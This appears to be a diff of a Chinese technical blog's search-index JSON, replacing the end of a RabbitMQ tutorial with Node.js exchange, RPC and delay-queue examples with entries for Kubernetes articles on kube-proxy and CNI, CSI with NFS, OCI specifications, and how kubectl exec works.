durable 属性,此属性表示是否对交换器进行持久化,也就是保存到磁盘上,一旦 RabbitMQ 服务器重启,持久化的交换器可以被重新恢复。 这里在声明队列时,我们使用的是一种临时的队列,我们无需指定该队列的名称,RabbitMQ 会自动为其生成一个随机的名称,同时 exclusive 属性表明该队列是否只会被当前连接使用,也就是说连接一旦关闭则此队列也会被删除。 ","date":"2018-02-27","objectID":"/rabbitmq/:3:1","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"Routing 此示例重点关注交换器 Exchange 的 direct 类型。 消费者接收消息(receive_log_direct.js): const amqp = require('amqplib'); (async () =\u003e { try { const args = process.argv.slice(2); if (args.length == 0) { console.log(\"Usage: receive_logs_direct.js [info] [warning] [error]\"); process.exit(1); } const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'direct_logs'; await ch.assertExchange(ex, 'direct', { durable: false }); //声明交换器 const q = await ch.assertQueue('', { exclusive: true }); //声明队列 console.log(' [*] Waiting for logs. To exit press CTRL+C'); args.forEach(async severity =\u003e { await ch.bindQueue(q.queue, ex, severity); //绑定交换器和队列 }); ch.consume(q.queue, msg =\u003e { //订阅队列接收消息 console.log(\" [x] %s: '%s'\", msg.fields.routingKey, msg.content.toString()); }, { noAck: true }); } catch (error) { console.log(error); } })() 生产者投递消息(emit_log_direct.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'direct_logs'; const args = process.argv.slice(2); const msg = args.slice(1).join(' ') || 'Hello World!'; const severity = (args.length \u003e 0) ? args[0] : 'info'; await ch.assertExchange(ex, 'direct', { durable: false }); //声明 exchange ,类型为 direct ch.publish(ex, severity, new Buffer(msg)); //发送消息,参数:交换器、路由键、消息内容 console.log(\" [x] Sent %s: '%s'\", severity, msg); await ch.close(); //关闭信道 await conn.close(); //关闭连接 } catch (error) { console.log(error); } })(); 交换器为 direct 类型,路由规则是 routing key 与 binding key 完全一致,这就是说与上例 fanout 类型不同的是,我们必须指定绑定交换器和队列的 binding key ,投递消息时也需要指定路由的 routing key 。其余地方基本一致。 ","date":"2018-02-27","objectID":"/rabbitmq/:3:2","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"Topics 此示例重点关注交换器 Exchange 的 topic 类型。 消费者接收消息(receive_log_topic.js): const amqp = require('amqplib'); (async () =\u003e { try { const args = process.argv.slice(2); if (args.length == 0) { console.log(\"Usage: receive_logs_topic.js \u003cfacility\u003e.\u003cseverity\u003e\"); process.exit(1); } const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'topic_logs'; await ch.assertExchange(ex, 'topic', { durable: false }); //声明交换器 const q = await ch.assertQueue('', { exclusive: true }); //声明队列 console.log(' [*] Waiting for logs. To exit press CTRL+C'); args.forEach(async key =\u003e { await ch.bindQueue(q.queue, ex, key); //绑定交换器和队列 }); ch.consume(q.queue, msg =\u003e { //订阅队列接收消息 console.log(\" [x] %s:'%s'\", msg.fields.routingKey, msg.content.toString()); }, { noAck: true }); } catch (error) { console.log(error); } })() 生产者投递消息(emit_log_topic.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'topic_logs'; const args = process.argv.slice(2); const key = (args.length \u003e 0) ? args[0] : 'anonymous.info'; const msg = args.slice(1).join(' ') || 'Hello World!'; await ch.assertExchange(ex, 'topic', { durable: false }); //声明交换器 ch.publish(ex, key, new Buffer(msg)); //发送消息,指定 routing key console.log(\" [x] Sent %s: '%s'\", key, msg); await ch.close(); //关闭信道 await conn.close(); //关闭连接 } catch (error) { console.log(error); } })() 交换器的 topic 类型,只需注意模糊匹配的规则即可,绑定交换器和队列的 binding key 以符号 . 将字符串分隔为不同的单词(不一定是真实的单词,理解为一个部分就行了),符号 * 用于匹配任意一个单词,符号 # 用于匹配零个或多个单词。 其实你会发现本节三个示例中的大部分地方都是类似的,唯一不同的地方就是不同的交换器类型需要对 binding key 和 routing key 进行不同的处理。通过本节了解了不同的交换器类型,有助于你在此基础上进行具体的路由规则设计。 ","date":"2018-02-27","objectID":"/rabbitmq/:3:3","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"四 ","date":"2018-02-27","objectID":"/rabbitmq/:4:0","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"RPC RPC 是什么?Remote Procedure Call,远程过程调用,比如某个服务器调用另一个远程服务器上的函数或方法获取其结果,当然这种类似需求毫无疑问是可以用我们熟悉的 REST 来实现的。 使用 RabbitMQ 如何实现 RPC 的功能: 如上图所示,客户端发起请求到一个 rpc 队列,并指定一个 correlationId 作为该请求的唯一标识,且通过 reply_to 指定一个 callback 队列接收请求处理结果(这里的 callback 并不是指 node 中的回掉函数,注意区别)。服务端通过订阅指定的 rpc 队列接收到请求然后进行处理,处理完之后将结果发送到 reply_to 指定的 callback 队列中,客户端通过订阅 callback 队列获取请求结果,并通过 correlationId 对应不同的请求。 客户端示例(rpc_client.js): const amqp = require('amqplib'); (async () =\u003e { try { const args = process.argv.slice(2); if (args.length === 0) { console.log(\"Usage: rpc_client.js num\"); process.exit(1); } const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const q = await ch.assertQueue('', { exclusive: true }); //声明一个临时队列作为 callback 接收结果 const corr = generateUuid(); const num = parseInt(args[0]); console.log(' [x] Requesting fib(%d)', num); ch.consume(q.queue, async (msg) =\u003e { //订阅 callback 队列接收 RPC 结果 if (msg.properties.correlationId === corr) { //根据 correlationId 判断是否为请求的结果 console.log(' [.] Got %s', msg.content.toString()); await ch.close(); //关闭信道 await conn.close(); //关闭连接 } }, { noAck: true }); ch.sendToQueue('rpc_queue', //发送 RPC 请求 new Buffer(num.toString()), { correlationId: corr, // correlationId 将 RPC 结果与对应的请求关联,replyTo 指定结果返回的队列 replyTo: q.queue } ); } catch (error) { console.log(error); } })(); function generateUuid() { //唯一标识 return Math.random().toString() + Math.random().toString() + Math.random().toString(); } 服务端示例(rpc_server.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const q = 'rpc_queue'; await ch.assertQueue(q, { durable: false }); //声明队列 await ch.prefetch(1); //每次最大接收消息数量 console.log(' [x] Awaiting RPC requests'); ch.consume(q, function reply(msg) { //订阅 RPC 队列接收请求 const n = parseInt(msg.content.toString()); console.log(\" [.] fib(%d)\", n); const r = fibonacci(n); //调用本地函数计算结果 ch.sendToQueue(msg.properties.replyTo, //将 RPC 请求结果发送到 callback 队列 new Buffer(r.toString()), { correlationId: msg.properties.correlationId } ); ch.ack(msg); }); } catch (error) { console.log(error); } })(); function fibonacci(n) { //时间复杂度比较高 let cache = {}; if (n === 0 || n === 1) return n; else return fibonacci(n - 1) + fibonacci(n - 2); } 上述就是一个简单的 RPC 示例。 ","date":"2018-02-27","objectID":"/rabbitmq/:4:1","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"延时队列 某些场景下我们并不希望生产者投递消息后,消费者立即就接收到消息,而是延迟一段时间,比如某个订单提交后十五分钟内未支付则自动取消这种情况就可以用延时队列。 RabbitMQ 本身并没有直接支持延时队列这个功能,我们需要简单的拐个弯间接实现: 具体流程如上图所示,生产者先将消息投递到一个死信队列中,消息在死信队列中延时,并指定 deadLetterExchange 也就是消息延时结束后重新分发到的交换器,以及 deadLetterRoutingKey,重新分发后的交换器据此将消息分发到另一个队列,消费者订阅此队列以接受消息。 交换器与队列一定是一起出现的,即使我们使用了默认交换器,在代码中无感,也要牢记它的存在。同样上图所示在延时队列中使用的两个交换器都可以为默认交换器,只要我们定义不同的绑定规则即可。 消费者接收消息示例(receive.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const queueName = 'delay-queue-consumer'; await ch.assertQueue(queueName, { durable: false }); //声明队列,durable:false 不对队列持久化 console.log(\" [*] Waiting for messages in queue: %s. To exit press CTRL+C\", queueName); ch.consume(queueName, msg =\u003e { //订阅队列接受消息 console.log(\" [x] Received %s\", msg.content.toString()); }, { noAck: true }); // noAck:true 不进行确认接受应答 } catch (error) { console.log(error); } })() 生产者投递消息示例(send.js): const amqp = require('amqplib'); const EventEmitter = require('events'); class MyEmitter extends EventEmitter {} const myEmitter = new MyEmitter(); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const msg = 'Hello world'; const queueName = 'delay-queue-consumer'; await ch.assertQueue(queueName, { durable: false }); //消息延时结束后会被转发到此队列,消费者直接订阅此队列即可 await ch.assertQueue('delay-queue-dead-letter', { //定义死信队列 durable: false, deadLetterExchange: '', //直接使用默认交换器 deadLetterRoutingKey: 'delay-queue-consumer', //默认交换器路由键就是队列名 messageTtl: 5000 //延时 ms }); for (let i = 0; i \u003c 5; i++) { setTimeout(() =\u003e { ch.sendToQueue('delay-queue-dead-letter', new Buffer(msg+i)); //发送消息 console.log(' [x] Sent %s', msg+i); if (i == 4) { myEmitter.emit('sent done'); } }, 5000*i) } myEmitter.on('sent done', async () =\u003e { await ch.close(); //关闭信道 await conn.close(); //关闭连接 }); } catch (error) { console.log(error); } })() 示例就写这么多,全文完。 ","date":"2018-02-27","objectID":"/rabbitmq/:4:2","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"}] \ No newline at end of file +[{"categories":["Kubernetes"],"content":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","date":"2024-10-07","objectID":"/kube-proxy-cni/","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"在 Kubernetes 中,kube-proxy 和 CNI 插件协同工作,确保集群内 Pod 之间的互联互通。 ","date":"2024-10-07","objectID":"/kube-proxy-cni/:0:0","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"Kube-proxy \u0026 CNI 如上图所示,假设我们有一个类型为 ClusterIP 的 Service,它对应两个位于不同节点的 Pod。 当我们从 Pod A 对该 Service 发起请求时: Pod A: 192.168.0.2 --\u003e service-name(通过域名访问 Service)。 CoreDNS 进行域名解析,返回 service-name 的 clusterIP 地址: Pod A: 192.168.0.2 --\u003e 10.111.13.31 Linux 内核的 Netfilter 进行 DNAT(目标网络地址转换),选择一个真实的后端 Pod IP: Pod A: 192.168.0.2 --\u003e 192.168.1.4 如果请求的 Pod 位于不同节点,则 CNI 插件将根据其配置的网络模式: 直接交由主机网络转发数据包, 或者使用 VXLAN / IPIP 等方式封包之后再转发数据包。 以上是基本流程,但实际过程中涉及更多细节。 ","date":"2024-10-07","objectID":"/kube-proxy-cni/:1:0","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"kube-proxy kube-proxy 通常部署为 DaemonSet,确保所有 worker node 都有一个 pod。它连接 kube-apiserver,监听所有 Service(以及相关的 Endpoints、EndpointSlices)对象,然后通过 iptables 或 ipvs 配置节点的 Netfilter。 Netfilter 是 Linux 内核中用于处理网络数据包的框架。它工作在网络协议栈的多个位置(如输入、输出、转发),允许对数据包进行过滤、修改、重定向等操作。它的钩子机制允许在数据包处理的不同阶段插入自定义规则。 iptables 和 ipvs 都使用了 Netfilter 的功能。 Service 的 ClusterIP 是一个 virtual IP(虚拟 IP,简称 VIP),虚拟的含义是它本身没有实际的网络实体,只是被用作数据包的处理逻辑。 kube-proxy 使用 iptables 或者 ipvs 设置 Service ClusterIP(虚拟 IP)和 DNAT/SNAT 规则。当 Pod A 访问 ClusterIP 时,Linux 内核会通过这些规则将虚拟 IP 替换为真实的 Pod IP。 查看 iptables 的规则形如: 查看 ipvs 的规则形如: Service 可能会对应多个 Pod,此时就涉及到负载均衡算法。iptables 使用的是随机选择;而 ipvs 则支持多种算法,包括 rr(Round Robin 轮询,默认值)、lc(Least Connection 最少连接)、sh(Source Hashing 源 IP 哈希)等等十几种。 总之,kube-proxy 监听 Service 并使用 iptables 或者 ipvs 去配置 Linux 内核的数据包修改、转发规则。 ","date":"2024-10-07","objectID":"/kube-proxy-cni/:1:1","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"CNI 当 Linux 内核完成 DNAT/SNAT 之后,接下来的步骤是发包。如果 Pod 的 MAC/IP 在集群网络中可达,则 CNI 插件无需做额外操作,直接交由主机网络发包即可。然而,很多时候无法满足此要求,因此 CNI 插件提供了 Overlay 这种网络模式,通过 VXLAN 或 IPIP 等方式再次封装数据包,然后进行传输。 有关 CNI 插件的网络模型,可以参考我之前的文章《Kubernetes CNI 网络模型概览:VETH \u0026 Bridge / Overlay / BGP》。 常见的 CNI 插件(如 Flanne、Calico)使用的 VXLAN 或 IPIP 是基于 Linux 内核的功能,CNI 插件的主要作用是进行配置。 这意味着,kube-proxy 和 CNI 插件都只是为 Linux 内核提供配置,而实际的数据包处理仍由内核完成。(某些 CNI 插件如 Cilium 通过 eBPF 等技术可以绕过内核,直接在用户空间处理数据包。) ","date":"2024-10-07","objectID":"/kube-proxy-cni/:1:2","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"无需 kube-proxy kube-proxy 存在一些局限性,例如随着集群中 Service 和 Pod 数量的增长,iptables 的规则匹配效率会下降,即使 ipvs 进行了优化,依然面临性能开销。此外,频繁的 Service 和 Pod 更新会导致规则重新应用,可能带来网络延迟或中断。kube-proxy 还依赖于 Linux 内核的 Netfilter,一旦内核配置不当或不兼容,可能会出现网络问题。 事实上,kube-proxy 的工作相对简单,如果网络插件能够实现数据包的高效转发,并提供与 kube-proxy 等效的功能,那么就不再需要 kube-proxy 了。例如,Cilium 通过 eBPF 实现了无代理的服务流量转发,完全可以替代 kube-proxy。 ","date":"2024-10-07","objectID":"/kube-proxy-cni/:2:0","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"总结 在 Kubernetes 集群中,kube-proxy 和 CNI 插件通过配置 Linux 内核的网络组件(如 Netfilter、VXLAN 等),协同工作以确保 Pod 和 Service 之间的通信。随着 eBPF 等技术的发展,某些 CNI 插件能够实现无代理的服务转发,进一步优化了网络性能。 (关注我,无广告,专注于技术,不煽动情绪) 参考资料: https://kubernetes.io/docs/reference/networking/virtual-ips/ https://docs.cilium.io/en/stable/network/kubernetes/kubeproxy-free/ ","date":"2024-10-07","objectID":"/kube-proxy-cni/:3:0","tags":["Kubernetes"],"title":"Kubernetes: kube-proxy 和 CNI 是如何协作的?","uri":"/kube-proxy-cni/"},{"categories":["Kubernetes"],"content":"Kubernetes CSI 简介:工作流程和原理","date":"2024-09-29","objectID":"/k8s-csi/","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"本文将会以 CSI driver - NFS 为例,讲述 CSI 驱动的工作流程和原理。 ","date":"2024-09-29","objectID":"/k8s-csi/:0:0","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"CSI 概述 CSI 驱动通常分为两个部分: Controller plugin: 负责存储资源的管理,如卷的创建、删除、扩容、快照等。 Node plugin: 处理节点级别的存储操作,负责在具体的节点上执行卷的挂载和卸载等任务。 CSI 与 kubernetes 组件的交互: Controller plugin 与 kube-api-server 交互,监听存储资源的变更并执行相应操作。 Node plugin 向 kubelet 注册自己,而后 kubelet 会向其发起调用。 由于交互的通用性,为了简化 CSI 驱动程序的开发,社区提供了很多 CSI Sidecar Containers,包括上图中的: external-provisioner:用于卷的动态配置。监听 PVC 对象,向 CSI 驱动程序发起 CreateVolume 或 DeleteVolume 调用。 node-driver-registrar:负责将 CSI 驱动注册到 kubelet,以便后续的调用。 除此 Sidecar 之外还有: external-attacher:用于卷的 attach/detach hooks 集成。 external-resizer:用于卷的扩容。 external-snapshotter:处理卷的快照。 livenessprobe:监控 CSI 驱动程序的健康状况。 ","date":"2024-09-29","objectID":"/k8s-csi/:1:0","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"CSI 使用过程 1. CSI 驱动准备阶段 确保集群中已正确安装 CSI 驱动,通常: Controller plugin 以 Deployment 或 StatefulSet 的方式部署。 Node plugin 由于是节点级别的操作,所以部署为 DaemonSet,每个节点运行一个 Pod。 安装完成后,Controller plugin 会向 kube-api-server 监听相关的资源对象,Node plugin 则会向 kubelet 注册自己。 2. 卷的动态配置 集群管理员创建 StorageClass 对象来声明存储类型。 用户创建 PVC 对象并指定 StorageClass,此时 Controller plugin 中的: provisioner 监听到 PVC 创建后,向 nfs-driver 发起 gRPC CreateVolume 调用。 nfs-driver 向 NFS server 准备好共享存储目录。 最后,provisioner 创建 PV。至此,PVC 与 PV 完成了绑定。 3. 创建 Pod 并使用卷 用户创建 Pod 并使用卷。 kube-api-server 接受到请求,kube-scheduler 将 Pod 调度到节点上。 该节点上的 kubelet 向 Node plugin 发起 gRPC NodePublishVolume 调用,由 Node plugin 中的 nfs-driver(具体的 CSI 驱动程序)完成文件目录的挂载。 至此,Pod 中的应用程序便可以使用挂载好的文件目录了,就像使用本地文件系统一样。 然而,Pod 中的应用程序实际操作的却是 NFS 远程共享目录,这又是怎么做到的? ","date":"2024-09-29","objectID":"/k8s-csi/:1:1","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"Linux VFS Linux 在实际的文件系统之上,其实还有一层 VFS(virtual filesystem)虚拟文件系统。 VFS 是一个抽象层,它允许应用程序通过统一的系统调用来操作不同类型的文件系统。无论是本地文件系统还是远程文件系统(如 NFS),操作都经过 VFS 中转。对于挂载了 NFS 目录的系统,VFS 会将相应的系统调用转交给 NFS 客户端,NFS 客户端则使用 RPC 网络通信与 NFS 服务器进行交互。 ","date":"2024-09-29","objectID":"/k8s-csi/:2:0","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"总结 除了 NFS 之外,CephFS 等其他分布式存储系统也采用了类似的工作原理和流程。 CSI 定义了标准化的 gRPC 协议,以及 CSI 驱动的交互过程和架构,使得各种存储系统可以通过统一的接口集成到 Kubernetes 中。 (关注我,无广告,专注于技术,不煽动情绪) 参考资料: https://github.com/container-storage-interface/spec/blob/master/spec.md https://kubernetes-csi.github.io/docs/introduction.html https://github.com/kubernetes-csi/csi-driver-nfs https://www.starlab.io/blog/introduction-to-the-linux-virtual-filesystem-vfs-part-i-a-high-level-tour ","date":"2024-09-29","objectID":"/k8s-csi/:3:0","tags":["Kubernetes"],"title":"Kubernetes CSI 简介:工作流程和原理","uri":"/k8s-csi/"},{"categories":["Kubernetes"],"content":"OCI 简介 在容器化技术的演进中,OCI(Open Container Initiative)提供了一套标准化的规范,帮助统一容器的构建、分发和运行。OCI 规范包含三个部分: OCI Image-spec:定义了容器镜像的结构,确保镜像可以被各种工具识别和管理。 OCI Distribution-spec:定义了容器镜像的分发方式,保证镜像可以通过标准化的 HTTP API 与镜像仓库交互。 OCI Runtime-spec:定义了容器的运行标准,确保容器运行时可以统一执行和管理容器生命周期。 下文将结合从代码到容器的完整 CICD 流程,详细讲解每个 OCI 规范的具体作用。 ","date":"2024-09-26","objectID":"/oci/:1:0","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"从代码到容器 ","date":"2024-09-26","objectID":"/oci/:2:0","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"1. Code -\u003e OCI Image 代码被集成之后,便可以使用 docker、podman/buildah 或者 kaniko 等工具来构建容器镜像。 此时,OCI Image-spec 便发挥了重要的作用,该规范定义了镜像的组成部分,使得不同工具能够跨平台识别和使用同一个镜像。 由于 docker 对行业的影响力,部分从业者会认为 image 就是 docker image,这其实并不对,准确来说,docker 只是工具之一,不管是使用什么工具构建出来的镜像应该统称为 OCI image。 OCI Image-spec 规范定义了镜像的结构,一个 image 至少包括: Manifest:元数据文件,描述镜像的组成部分。 Layers:层,镜像由多层堆叠组成,每一层表示文件系统的增量变化。 Configuration:配置文件,描述环境变量、启动命令、工作目录等信息。 让我们看看 busybox 这个镜像的结构: 从上图中可以看到,manifest 元数据文件、config 配置文件、layers 层文件一应俱全。 一个 image 其实也只是一堆文件和文件夹的集合。 ","date":"2024-09-26","objectID":"/oci/:2:1","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"2. OCI Image -\u003e Registry 在镜像构建完成后,需要推送到镜像仓库。OCI Distribution-spec 规范则定义了镜像如何通过标准的 HTTP API 在仓库中存储、拉取和分发。 OCI Distribution-spec 规范确保了不同的仓库和客户端可以使用统一的 API 进行镜像的分发。这样仓库既可以使用公共仓库(如 Docker Hub),也可以使用私有仓库(如 Harbor)。而客户端只要使用规范中的 HTTP 请求则都可以上传或下载镜像。 ","date":"2024-09-26","objectID":"/oci/:2:2","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"3. Kube-API-Server -\u003e Kubelet -\u003e Containerd/CRI-O 镜像上传完成之后,便可以创建或更新应用了。所有请求统一先由 kube-api-server 处理,然后 scheduler 将 Pod 调度到节点上,随后节点上的 kubelet 负责后续处理。 kubelet 通过 CRI gRPC 与具体的组件 Containerd 或 CRI-O 进行交互,由后者完成镜像的下载和容器的创建。 ","date":"2024-09-26","objectID":"/oci/:2:3","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"4. Containerd/CRI-O -\u003e Runc/Kata-containers Containerd 和 CRI-O 本身并不直接负责容器的创建和运行,它们会通过 OCI Runtime-spec 与底层容器执行工具 runc 或 kata-containers 交互,由 runc 或 kata-containers 完成容器的执行。 Runc 和 Kata-containers: runc 是最常见的容器执行工具,直接与 Linux 内核交互,通过 cgroups 和 namespaces 实现容器的隔离和资源管理。 kata-containers 则是在虚拟机中运行容器,提供更强的隔离性,适用于需要高安全性的场景。它仍然遵循 OCI runtime-spec,但运行环境更加虚拟化。 OCI runtime-spec 规范规定了: 容器的配置:通过 config.json 配置文件描述了容器的进程、挂载、hooks 钩子、资源限制等等信息。 执行环境:如何保证环境的一致性,包括将镜像解压到运行时 filesystem bundle 文件系统包中。 生命周期:明确了容器从创建到消失期间的详细过程。 如何查看 OCI runtime-spec 规定的 config.json 文件? 先找到 Pod 所在的 Node 节点,然后 SSH 登录到该节点 再使用 CRI 工具,如 crictl ps 找到容器 ID。 如果是 containerd 则文件位置是 /run/containerd/io.containerd.runtime.v2.task/k8s.io/\u003ccontainer-id\u003e/config.json;在 cri-o 中则可能是 /run/containers/storage/\u003ccontainer-id\u003e/userdata/config.json。 我创建了一个 busybox ,它的 OCI runtime-spec config.json 如下图所示: 而这个 OCI runtime-spec 规定的 config.json 其实就是 Containerd 或 CRI-O 根据 Pod 的定义(命令及参数、环境变量、资源限制等等)和上下文等信息生成的。 ","date":"2024-09-26","objectID":"/oci/:2:4","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"总结 从代码到容器实际运行,整个过程中多个组件和标准紧密协作,本文重点关注了 OCI 的三个核心规范(image-spec、distribution-spec 和 runtime-spec),这些规范确保了容器在不同环境中的兼容性和可移植性,正如 OCI 这个名字的含义一样 —— 开放容器倡议。 (关注我,无广告,专注于技术,不煽动情绪) 参考资料: https://opencontainers.org/about/overview/ https://github.com/opencontainers/image-spec/blob/main/spec.md https://github.com/opencontainers/runtime-spec/blob/main/spec.md https://github.com/opencontainers/distribution-spec/blob/main/spec.md https://github.com/opencontainers/runc ","date":"2024-09-26","objectID":"/oci/:3:0","tags":["Kubernetes"],"title":"OCI 简介:Kubernetes 环境下从代码到容器的全流程","uri":"/oci/"},{"categories":["Kubernetes"],"content":"kubectl 执行一条命令之后发生了什么?","date":"2024-09-22","objectID":"/kubectl-to-k8s/","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"kubectl 是与 Kubernetes 集群交互的命令行工具,用户通过它可以对集群资源进行操作和管理。你有没有想过,当我们执行一条 kubectl 命令之后,背后都发生了什么? ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:0:0","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"详细过程 ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:1:0","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"kubectl -\u003e kube-api-server 根据通信类型,我把 kubectl 命令分为两类:单向通信和双向通信。 单向通信:kubectl 通过 HTTPS 向 kube-api-server 发起请求并接收响应。大部分 kubectl 命令都是单向通信的,比如资源的创建、删除、修改和查询等。 双向通信:在执行某些持续性操作时,例如 exec、attach、port-forward、logs 等等少数命令,kubectl 与 kube-api-server 之间会使用 WebSocket 进行双向通信,此时双方可以进行持续性的双向的消息传递。 对于大部分单向通信的命令,kube-api-server 处理(可能与 etcd 交互)之后就会响应给 kubectl,虽然集群内其它组件可能会有后续动作,但是 kubectl 到 kube-api-server 的过程则到这里就结束了。 然而,双向通信的命令,其处理的链路会更长。下文以 kubectl exec -it nginx -- bash 这条命令为例进行详细说明。 如上图所示,kubectl 会先向 kube-api-server 发起 HTTPS 请求,并协商升级为 WebSocket,至此 kubectl 与 kube-api-server 之间可以持续的收发消息。 ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:1:1","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"kube-api-server -\u003e kubelet kubelet 会启动以下三个 server: HTTPS server:这是 kubelet 的主要服务,提供了完整的与 kube-api-server 和其他组件交互的接口,处理和控制所有与容器、Pod 生命周期相关的重要操作,包括 /healthz 健康检查、/metrics 指标采集、/pods pod 管理,以及 /exec、/attach、/portForward 等等接口: /exec/{podNamespace}/{podID}/{containerName} /attach/{podNamespace}/{podID}/{containerName} /portForward/{podNamespace}/{podID}/{containerName} /containerLogs/{podNamespace}/{podID}/{containerName} HTTP Read-Only server:提供只读的 API,用于公开一些状态信息,出于安全考虑默认禁用。可以通过 --read-only-port 参数启用,但不建议在生产环境中使用。 gRPC server:专门用于查询节点上 Pod 和容器的资源分配情况。 当 kube-api-server 收到 kubectl exec 请求后,会通过 HTTPS 向 kubelet 发起请求,由 kubelet 负责进一步处理。 ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:1:2","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"kubelet -\u003e CRI kubelet 通过 gRPC 调用 CRI 组件,向容器运行时传递指令。 gRPC 协议定义了 RuntimeService 和 ImageService 两种服务及多种方法,其中就包括: RuntimeServer.ExecSync RuntimeServer.Exec RuntimeServer.Attach RuntimeServer.PortForward CRI 组件最终执行指令,并将执行结果(stdout/stderr)依次经由 kubelet、kube-api-server 最后返回给 kubectl 并在客户端显示。这就是完整的过程。 ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:1:3","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"总结 文本讲述了 kubectl 命令执行背后的整个过程,以 kubectl exec 为例,涉及 kube-api-server、kubelet、CRI 等多个组件的协作,以及 HTTPS、WebSocket、gRPC 等多种通信协议。 (关注我,无广告,专注于技术,不煽动情绪) 参考资料: https://kubernetes.io/docs/reference/kubectl/generated/ https://erkanerol.github.io/post/how-kubectl-exec-works/ https://github.com/kubernetes/kubernetes/blob/v1.31.1/pkg/kubelet/server/server.go ","date":"2024-09-22","objectID":"/kubectl-to-k8s/:2:0","tags":["Kubernetes"],"title":"kubectl 执行一条命令之后发生了什么?","uri":"/kubectl-to-k8s/"},{"categories":["Kubernetes"],"content":"Kubernetes 集群内 DNS","date":"2024-09-17","objectID":"/k8s-dns/","tags":["Kubernetes"],"title":"Kubernetes 集群内 DNS","uri":"/k8s-dns/"},{"categories":["Kubernetes"],"content":"DNS 简介 